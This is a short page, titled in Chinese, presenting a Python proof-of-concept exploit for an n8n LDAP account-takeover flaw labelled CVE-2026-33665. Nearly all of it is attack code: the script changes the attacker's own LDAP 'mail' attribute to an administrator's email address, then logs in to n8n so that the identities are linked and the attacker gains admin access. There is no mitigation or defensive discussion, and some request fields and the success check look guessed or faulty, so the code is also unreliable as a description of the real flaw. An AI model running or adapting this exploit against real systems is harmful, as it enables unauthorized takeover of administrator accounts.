CVE-2026-33665 n8n LDAP账户接管漏洞

import ldap3 import requests # Configuration ldap_server = 'ldap://example.com' ldap_user_dn = 'cn=attacker,ou=users,dc=example,dc=com' ldap_password = 'attacker_password' target_admin_email = '[email protected]' n8n_login_url = 'https://n8n-instance.com/rest/login' # Step 1: Attacker modifies their own LDAP email attribute to match the admin's email try: server = ldap3.Server(ldap_server) conn = ldap3.Connection(server, user=ldap_user_dn, password=ldap_password, auto_bind=True) # Modify the 'mail' attribute conn.modify(ldap_user_dn, {'mail': [(ldap3.MODIFY_REPLACE, [target_admin_email])]}) if conn.result['description'] == 'success': print("[+] Successfully updated LDAP email to target admin email.") conn.unbind() except Exception as e: print(f"[-] LDAP modification failed: {e}") exit() # Step 2: Attacker logs in to n8n using their LDAP credentials # n8n sees the email matches the local admin account and links the identities session = requests.Session() payload = { 'email': target_admin_email, # n8n receives this from LDAP header or lookup 'password': ldap_password, 'isLdap': True } response = session.post(n8n_login_url, json=payload) if response.status_code == 200 and 'cookie' in response.headers or 'token' in response.json(): print("[+] Login successful. Account takeover completed.") print("[+] Session established. Attacker now has admin access.") else: print("[-] Login failed.")